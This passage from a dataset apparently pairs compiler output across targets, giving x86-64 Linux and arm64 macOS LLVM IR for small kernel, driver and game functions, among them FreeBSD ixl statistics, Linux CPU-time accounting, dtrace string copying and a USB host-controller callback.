attributes #0 = { inlinehint nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
| Quake-III-Arena_code_unix_extr_..client..gameq_shared.h_BigLong |
; ModuleID = 'AnghaBench/freebsd/sys/dev/ixl/extr_ixl_pf_main.c_ixl_stat_update32.c'
source_filename = "AnghaBench/freebsd/sys/dev/ixl/extr_ixl_pf_main.c_ixl_stat_update32.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
; Function Attrs: nounwind uwtable
define dso_local void @ixl_stat_update32(ptr noundef %0, i64 noundef %1, i32 noundef %2, ptr nocapture noundef %3, ptr nocapture noundef writeonly %4) local_unnamed_addr #0 {
%6 = tail call i64 @rd32(ptr noundef %0, i64 noundef %1) #2
%7 = icmp eq i32 %2, 0
br i1 %7, label %10, label %8
8: ; preds = %5
%9 = load i64, ptr %3, align 8, !tbaa !5
br label %11
10: ; preds = %5
store i64 %6, ptr %3, align 8, !tbaa !5
br label %11
11: ; preds = %8, %10
%12 = phi i64 [ %9, %8 ], [ %6, %10 ]
%13 = icmp slt i64 %6, %12
%14 = add nsw i64 %6, 4294967296
%15 = select i1 %13, i64 %14, i64 %6
%16 = sub nsw i64 %15, %12
store i64 %16, ptr %4, align 8, !tbaa !5
ret void
}
declare i64 @rd32(ptr noundef, i64 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"long", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/freebsd/sys/dev/ixl/extr_ixl_pf_main.c_ixl_stat_update32.c'
source_filename = "AnghaBench/freebsd/sys/dev/ixl/extr_ixl_pf_main.c_ixl_stat_update32.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
; Function Attrs: nounwind ssp uwtable(sync)
define void @ixl_stat_update32(ptr noundef %0, i64 noundef %1, i32 noundef %2, ptr nocapture noundef %3, ptr nocapture noundef writeonly %4) local_unnamed_addr #0 {
%6 = tail call i64 @rd32(ptr noundef %0, i64 noundef %1) #2
%7 = icmp eq i32 %2, 0
br i1 %7, label %10, label %8
8: ; preds = %5
%9 = load i64, ptr %3, align 8, !tbaa !6
br label %11
10: ; preds = %5
store i64 %6, ptr %3, align 8, !tbaa !6
br label %11
11: ; preds = %8, %10
%12 = phi i64 [ %9, %8 ], [ %6, %10 ]
%13 = icmp slt i64 %6, %12
%14 = add nsw i64 %6, 4294967296
%15 = select i1 %13, i64 %14, i64 %6
%16 = sub nsw i64 %15, %12
store i64 %16, ptr %4, align 8, !tbaa !6
ret void
}
declare i64 @rd32(ptr noundef, i64 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"long", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| freebsd_sys_dev_ixl_extr_ixl_pf_main.c_ixl_stat_update32 |
; ModuleID = 'AnghaBench/linux/kernel/sched/extr_cputime.c_account_system_index_time.c'
source_filename = "AnghaBench/linux/kernel/sched/extr_cputime.c_account_system_index_time.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
; Function Attrs: nounwind uwtable
define dso_local void @account_system_index_time(ptr noundef %0, i32 noundef %1, i32 noundef %2) local_unnamed_addr #0 {
%4 = load i32, ptr %0, align 4, !tbaa !5
%5 = add nsw i32 %4, %1
store i32 %5, ptr %0, align 4, !tbaa !5
%6 = tail call i32 @account_group_system_time(ptr noundef nonnull %0, i32 noundef %1) #2
%7 = tail call i32 @task_group_account_field(ptr noundef nonnull %0, i32 noundef %2, i32 noundef %1) #2
%8 = tail call i32 @acct_account_cputime(ptr noundef nonnull %0) #2
ret void
}
declare i32 @account_group_system_time(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @task_group_account_field(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @acct_account_cputime(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"task_struct", !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/linux/kernel/sched/extr_cputime.c_account_system_index_time.c'
source_filename = "AnghaBench/linux/kernel/sched/extr_cputime.c_account_system_index_time.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
; Function Attrs: nounwind ssp uwtable(sync)
define void @account_system_index_time(ptr noundef %0, i32 noundef %1, i32 noundef %2) local_unnamed_addr #0 {
%4 = load i32, ptr %0, align 4, !tbaa !6
%5 = add nsw i32 %4, %1
store i32 %5, ptr %0, align 4, !tbaa !6
%6 = tail call i32 @account_group_system_time(ptr noundef nonnull %0, i32 noundef %1) #2
%7 = tail call i32 @task_group_account_field(ptr noundef nonnull %0, i32 noundef %2, i32 noundef %1) #2
%8 = tail call i32 @acct_account_cputime(ptr noundef nonnull %0) #2
ret void
}
declare i32 @account_group_system_time(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @task_group_account_field(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @acct_account_cputime(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"task_struct", !8, i64 0}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
| linux_kernel_sched_extr_cputime.c_account_system_index_time |
; ModuleID = 'AnghaBench/freebsd/sys/cddl/dev/dtrace/riscv/extr_dtrace_isa.c_dtrace_copyoutstr.c'
source_filename = "AnghaBench/freebsd/sys/cddl/dev/dtrace/riscv/extr_dtrace_isa.c_dtrace_copyoutstr.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
; Function Attrs: nounwind uwtable
define dso_local void @dtrace_copyoutstr(i64 noundef %0, i64 noundef %1, i64 noundef %2, ptr noundef %3) local_unnamed_addr #0 {
%5 = tail call i64 @dtrace_copycheck(i64 noundef %1, i64 noundef %0, i64 noundef %2) #2
%6 = icmp eq i64 %5, 0
br i1 %6, label %9, label %7
7: ; preds = %4
%8 = tail call i32 @dtrace_copystr(i64 noundef %0, i64 noundef %1, i64 noundef %2, ptr noundef %3) #2
br label %9
9: ; preds = %7, %4
ret void
}
declare i64 @dtrace_copycheck(i64 noundef, i64 noundef, i64 noundef) local_unnamed_addr #1
declare i32 @dtrace_copystr(i64 noundef, i64 noundef, i64 noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
| ; ModuleID = 'AnghaBench/freebsd/sys/cddl/dev/dtrace/riscv/extr_dtrace_isa.c_dtrace_copyoutstr.c'
source_filename = "AnghaBench/freebsd/sys/cddl/dev/dtrace/riscv/extr_dtrace_isa.c_dtrace_copyoutstr.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
; Function Attrs: nounwind ssp uwtable(sync)
define void @dtrace_copyoutstr(i64 noundef %0, i64 noundef %1, i64 noundef %2, ptr noundef %3) local_unnamed_addr #0 {
%5 = tail call i64 @dtrace_copycheck(i64 noundef %1, i64 noundef %0, i64 noundef %2) #2
%6 = icmp eq i64 %5, 0
br i1 %6, label %9, label %7
7: ; preds = %4
%8 = tail call i32 @dtrace_copystr(i64 noundef %0, i64 noundef %1, i64 noundef %2, ptr noundef %3) #2
br label %9
9: ; preds = %7, %4
ret void
}
declare i64 @dtrace_copycheck(i64 noundef, i64 noundef, i64 noundef) local_unnamed_addr #1
declare i32 @dtrace_copystr(i64 noundef, i64 noundef, i64 noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
| freebsd_sys_cddl_dev_dtrace_riscv_extr_dtrace_isa.c_dtrace_copyoutstr |
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/usb/host/extr_u132-hcd.c_u132_hcd_enumeration_empty_recv.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/usb/host/extr_u132-hcd.c_u132_hcd_enumeration_empty_recv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.u132_endp = type { i64, i64, ptr }
%struct.u132 = type { i32, i32, ptr, ptr, ptr }
%struct.TYPE_3__ = type { i64 }
%struct.u132_udev = type { i64 }
@.str = private unnamed_addr constant [28 x i8] c"device has been removed %d\0A\00", align 1
@ENODEV = dso_local local_unnamed_addr global i32 0, align 4
@EINTR = dso_local local_unnamed_addr global i32 0, align 4
@.str.1 = private unnamed_addr constant [32 x i8] c"device is being removed urb=%p\0A\00", align 1
@.str.2 = private unnamed_addr constant [36 x i8] c"CALLBACK called urb=%p unlinked=%d\0A\00", align 1
@llvm.compiler.used = appending global [1 x ptr] [ptr @u132_hcd_enumeration_empty_recv], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @u132_hcd_enumeration_empty_recv(ptr noundef %0, ptr noundef %1, ptr nocapture readnone %2, i32 %3, i32 %4, i32 %5, i32 %6, i32 %7, i32 %8, i32 %9, i32 %10, i32 %11) #0 {
%13 = getelementptr inbounds %struct.u132_endp, ptr %0, i64 0, i32 2
%14 = load ptr, ptr %13, align 8, !tbaa !5
%15 = getelementptr inbounds %struct.u132, ptr %14, i64 0, i32 3
%16 = load ptr, ptr %15, align 8, !tbaa !11
%17 = load i64, ptr %0, align 8, !tbaa !14
%18 = getelementptr inbounds %struct.TYPE_3__, ptr %16, i64 %17
%19 = load i64, ptr %18, align 8, !tbaa !15
%20 = getelementptr inbounds %struct.u132, ptr %14, i64 0, i32 4
%21 = load ptr, ptr %20, align 8, !tbaa !17
%22 = getelementptr inbounds %struct.u132_udev, ptr %21, i64 %19
%23 = getelementptr inbounds %struct.u132, ptr %14, i64 0, i32 1
%24 = tail call i32 @mutex_lock(ptr noundef nonnull %23) #2
%25 = load i32, ptr %14, align 8, !tbaa !18
%26 = icmp sgt i32 %25, 1
br i1 %26, label %27, label %35
27: ; preds = %12
%28 = getelementptr inbounds %struct.u132, ptr %14, i64 0, i32 2
%29 = load ptr, ptr %28, align 8, !tbaa !19
%30 = tail call i32 (ptr, ptr, ...) @dev_err(ptr noundef %29, ptr noundef nonnull @.str, i32 noundef %25) #2
%31 = tail call i32 @mutex_unlock(ptr noundef nonnull %23) #2
%32 = load i32, ptr @ENODEV, align 4, !tbaa !20
%33 = sub nsw i32 0, %32
%34 = tail call i32 @u132_hcd_forget_urb(ptr noundef nonnull %14, ptr noundef nonnull %0, ptr noundef %1, i32 noundef %33) #2
br label %68
35: ; preds = %12
%36 = getelementptr inbounds %struct.u132_endp, ptr %0, i64 0, i32 1
%37 = load i64, ptr %36, align 8, !tbaa !21
%38 = icmp eq i64 %37, 0
br i1 %38, label %44, label %39
39: ; preds = %35
store i64 0, ptr %36, align 8, !tbaa !21
%40 = tail call i32 @mutex_unlock(ptr noundef nonnull %23) #2
%41 = load i32, ptr @EINTR, align 4, !tbaa !20
%42 = sub nsw i32 0, %41
%43 = tail call i32 @u132_hcd_giveback_urb(ptr noundef nonnull %14, ptr noundef nonnull %0, ptr noundef %1, i32 noundef %42) #2
br label %68
44: ; preds = %35
%45 = icmp eq i32 %25, 1
br i1 %45, label %46, label %54
46: ; preds = %44
%47 = getelementptr inbounds %struct.u132, ptr %14, i64 0, i32 2
%48 = load ptr, ptr %47, align 8, !tbaa !19
%49 = tail call i32 (ptr, ptr, ...) @dev_err(ptr noundef %48, ptr noundef nonnull @.str.1, ptr noundef %1) #2
%50 = tail call i32 @mutex_unlock(ptr noundef nonnull %23) #2
%51 = load i32, ptr @ENODEV, align 4, !tbaa !20
%52 = sub nsw i32 0, %51
%53 = tail call i32 @u132_hcd_giveback_urb(ptr noundef nonnull %14, ptr noundef nonnull %0, ptr noundef %1, i32 noundef %52) #2
br label %68
54: ; preds = %44
%55 = load i32, ptr %1, align 4, !tbaa !22
%56 = icmp eq i32 %55, 0
br i1 %56, label %57, label %62
57: ; preds = %54
%58 = load ptr, ptr %15, align 8, !tbaa !11
store i64 0, ptr %58, align 8, !tbaa !15
%59 = load i64, ptr %22, align 8, !tbaa !24
store i64 %59, ptr %0, align 8, !tbaa !14
%60 = tail call i32 @mutex_unlock(ptr noundef nonnull %23) #2
%61 = tail call i32 @u132_hcd_giveback_urb(ptr noundef nonnull %14, ptr noundef nonnull %0, ptr noundef nonnull %1, i32 noundef 0) #2
br label %68
62: ; preds = %54
%63 = getelementptr inbounds %struct.u132, ptr %14, i64 0, i32 2
%64 = load ptr, ptr %63, align 8, !tbaa !19
%65 = tail call i32 (ptr, ptr, ...) @dev_err(ptr noundef %64, ptr noundef nonnull @.str.2, ptr noundef nonnull %1, i32 noundef %55) #2
%66 = tail call i32 @mutex_unlock(ptr noundef nonnull %23) #2
%67 = tail call i32 @u132_hcd_giveback_urb(ptr noundef nonnull %14, ptr noundef nonnull %0, ptr noundef nonnull %1, i32 noundef 0) #2
br label %68
68: ; preds = %62, %57, %46, %39, %27
ret void
}
declare i32 @mutex_lock(ptr noundef) local_unnamed_addr #1
declare i32 @dev_err(ptr noundef, ptr noundef, ...) local_unnamed_addr #1
declare i32 @mutex_unlock(ptr noundef) local_unnamed_addr #1
declare i32 @u132_hcd_forget_urb(ptr noundef, ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @u132_hcd_giveback_urb(ptr noundef, ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !10, i64 16}
!6 = !{!"u132_endp", !7, i64 0, !7, i64 8, !10, i64 16}
!7 = !{!"long", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"any pointer", !8, i64 0}
!11 = !{!12, !10, i64 16}
!12 = !{!"u132", !13, i64 0, !13, i64 4, !10, i64 8, !10, i64 16, !10, i64 24}
!13 = !{!"int", !8, i64 0}
!14 = !{!6, !7, i64 0}
!15 = !{!16, !7, i64 0}
!16 = !{!"TYPE_3__", !7, i64 0}
!17 = !{!12, !10, i64 24}
!18 = !{!12, !13, i64 0}
!19 = !{!12, !10, i64 8}
!20 = !{!13, !13, i64 0}
!21 = !{!6, !7, i64 8}
!22 = !{!23, !13, i64 0}
!23 = !{!"urb", !13, i64 0}
!24 = !{!25, !7, i64 0}
!25 = !{!"u132_udev", !7, i64 0}
| ; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/usb/host/extr_u132-hcd.c_u132_hcd_enumeration_empty_recv.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/usb/host/extr_u132-hcd.c_u132_hcd_enumeration_empty_recv.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.TYPE_3__ = type { i64 }
%struct.u132_udev = type { i64 }
@.str = private unnamed_addr constant [28 x i8] c"device has been removed %d\0A\00", align 1
@ENODEV = common local_unnamed_addr global i32 0, align 4
@EINTR = common local_unnamed_addr global i32 0, align 4
@.str.1 = private unnamed_addr constant [32 x i8] c"device is being removed urb=%p\0A\00", align 1
@.str.2 = private unnamed_addr constant [36 x i8] c"CALLBACK called urb=%p unlinked=%d\0A\00", align 1
@llvm.used = appending global [1 x ptr] [ptr @u132_hcd_enumeration_empty_recv], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @u132_hcd_enumeration_empty_recv(ptr noundef %0, ptr noundef %1, ptr nocapture readnone %2, i32 %3, i32 %4, i32 %5, i32 %6, i32 %7, i32 %8, i32 %9, i32 %10, i32 %11) #0 {
%13 = getelementptr inbounds i8, ptr %0, i64 16
%14 = load ptr, ptr %13, align 8, !tbaa !6
%15 = getelementptr inbounds i8, ptr %14, i64 16
%16 = load ptr, ptr %15, align 8, !tbaa !12
%17 = load i64, ptr %0, align 8, !tbaa !15
%18 = getelementptr inbounds %struct.TYPE_3__, ptr %16, i64 %17
%19 = load i64, ptr %18, align 8, !tbaa !16
%20 = getelementptr inbounds i8, ptr %14, i64 24
%21 = load ptr, ptr %20, align 8, !tbaa !18
%22 = getelementptr inbounds %struct.u132_udev, ptr %21, i64 %19
%23 = getelementptr inbounds i8, ptr %14, i64 4
%24 = tail call i32 @mutex_lock(ptr noundef nonnull %23) #2
%25 = load i32, ptr %14, align 8, !tbaa !19
%26 = icmp sgt i32 %25, 1
br i1 %26, label %27, label %35
27: ; preds = %12
%28 = getelementptr inbounds i8, ptr %14, i64 8
%29 = load ptr, ptr %28, align 8, !tbaa !20
%30 = tail call i32 (ptr, ptr, ...) @dev_err(ptr noundef %29, ptr noundef nonnull @.str, i32 noundef %25) #2
%31 = tail call i32 @mutex_unlock(ptr noundef nonnull %23) #2
%32 = load i32, ptr @ENODEV, align 4, !tbaa !21
%33 = sub nsw i32 0, %32
%34 = tail call i32 @u132_hcd_forget_urb(ptr noundef nonnull %14, ptr noundef nonnull %0, ptr noundef %1, i32 noundef %33) #2
br label %68
35: ; preds = %12
%36 = getelementptr inbounds i8, ptr %0, i64 8
%37 = load i64, ptr %36, align 8, !tbaa !22
%38 = icmp eq i64 %37, 0
br i1 %38, label %44, label %39
39: ; preds = %35
store i64 0, ptr %36, align 8, !tbaa !22
%40 = tail call i32 @mutex_unlock(ptr noundef nonnull %23) #2
%41 = load i32, ptr @EINTR, align 4, !tbaa !21
%42 = sub nsw i32 0, %41
%43 = tail call i32 @u132_hcd_giveback_urb(ptr noundef nonnull %14, ptr noundef nonnull %0, ptr noundef %1, i32 noundef %42) #2
br label %68
44: ; preds = %35
%45 = icmp eq i32 %25, 1
br i1 %45, label %46, label %54
46: ; preds = %44
%47 = getelementptr inbounds i8, ptr %14, i64 8
%48 = load ptr, ptr %47, align 8, !tbaa !20
%49 = tail call i32 (ptr, ptr, ...) @dev_err(ptr noundef %48, ptr noundef nonnull @.str.1, ptr noundef %1) #2
%50 = tail call i32 @mutex_unlock(ptr noundef nonnull %23) #2
%51 = load i32, ptr @ENODEV, align 4, !tbaa !21
%52 = sub nsw i32 0, %51
%53 = tail call i32 @u132_hcd_giveback_urb(ptr noundef nonnull %14, ptr noundef nonnull %0, ptr noundef %1, i32 noundef %52) #2
br label %68
54: ; preds = %44
%55 = load i32, ptr %1, align 4, !tbaa !23
%56 = icmp eq i32 %55, 0
br i1 %56, label %57, label %62
57: ; preds = %54
%58 = load ptr, ptr %15, align 8, !tbaa !12
store i64 0, ptr %58, align 8, !tbaa !16
%59 = load i64, ptr %22, align 8, !tbaa !25
store i64 %59, ptr %0, align 8, !tbaa !15
%60 = tail call i32 @mutex_unlock(ptr noundef nonnull %23) #2
%61 = tail call i32 @u132_hcd_giveback_urb(ptr noundef nonnull %14, ptr noundef nonnull %0, ptr noundef nonnull %1, i32 noundef 0) #2
br label %68
62: ; preds = %54
%63 = getelementptr inbounds i8, ptr %14, i64 8
%64 = load ptr, ptr %63, align 8, !tbaa !20
%65 = tail call i32 (ptr, ptr, ...) @dev_err(ptr noundef %64, ptr noundef nonnull @.str.2, ptr noundef nonnull %1, i32 noundef %55) #2
%66 = tail call i32 @mutex_unlock(ptr noundef nonnull %23) #2
